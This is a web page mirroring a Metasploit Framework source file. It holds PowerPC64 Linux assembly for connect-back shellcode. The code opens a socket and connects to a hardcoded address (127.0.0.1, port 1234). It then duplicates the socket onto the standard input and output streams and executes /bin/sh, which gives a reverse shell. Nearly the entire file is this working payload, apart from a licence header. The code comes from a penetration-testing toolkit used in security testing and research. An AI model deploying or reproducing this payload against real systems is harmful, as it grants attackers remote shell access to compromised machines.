CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/unixasm/lin-power-cntsockcode64.S
Views: 11766
1
/*
2
* lin-power-cntsockcode64.S
3
* Copyright 2008 Ramon de Carvalho Valle <[email protected]>
4
*
5
* This library is free software; you can redistribute it and/or
6
* modify it under the terms of the GNU Lesser General Public
7
* License as published by the Free Software Foundation; either
8
* version 2.1 of the License, or (at your option) any later version.
9
*
10
* This library is distributed in the hope that it will be useful,
11
* but WITHOUT ANY WARRANTY; without even the implied warranty of
12
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
13
* Lesser General Public License for more details.
14
*
15
* You should have received a copy of the GNU Lesser General Public
16
* License along with this library; if not, write to the Free Software
17
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
18
*
19
*/
20
21
#include "linux-power.h"
22
23
.globl main
24
25
main:
26
27
cntsockcode64:
28
xor %r31,%r31,%r31
29
lil %r29,__CAL
30
31
# socket
32
33
cal %r28,-511+1(%r29)
34
cal %r27,-511+2(%r29)
35
stdu %r31,-8(%r1)
36
stdu %r28,-8(%r1)
37
stdu %r27,-8(%r1)
38
mr %r4,%r1
39
cal %r3,__NC_socket(%r29)
40
cal %r0,__NC_socketcall(%r29)
41
.long 0x44ffff02
42
mr %r26,%r3
43
44
# connect
45
46
cal %r25,-511+16(%r29)
47
48
/*
49
* The following GPRs result in zeros when used with liu instruction.
50
* %r24, %r16, %r8, %r0
51
*
52
*/
53
54
liu %r23,0x7f00
55
oril %r23,%r23,0x0001
56
lil %r22,0x04d2
57
stu %r23,-4(%r1)
58
stu %r22,-4(%r1)
59
st %r27,-2(%r1)
60
mr %r21,%r1
61
stdu %r25,-8(%r1)
62
stdu %r21,-8(%r1)
63
stdu %r26,-8(%r1)
64
mr %r4,%r1
65
cal %r3,__NC_connect(%r29)
66
cal %r0,__NC_socketcall(%r29)
67
.long 0x44ffff02
68
69
0:
70
# dup2
71
72
mr %r4,%r27
73
mr %r3,%r26
74
cal %r0,__NC_dup2(%r29)
75
.long 0x44ffff02
76
77
ai. %r27,%r27,-1
78
bge 0b
79
80
shellcode64:
81
# lil %r31,__CAL
82
xor. %r5,%r5,%r5
83
bnel shellcode64
84
mflr %r30
85
cal %r30,511(%r30)
86
cal %r3,-511+36(%r30)
87
stb %r5,-511+43(%r30)
88
stdu %r5,-8(%r1)
89
stdu %r3,-8(%r1)
90
mr %r4,%r1
91
# cal %r0,__NC_execve(%r31)
92
cal %r0,__NC_execve(%r29)
93
.long 0x44ffff02
94
.asciz "/bin/sh"
95
96
97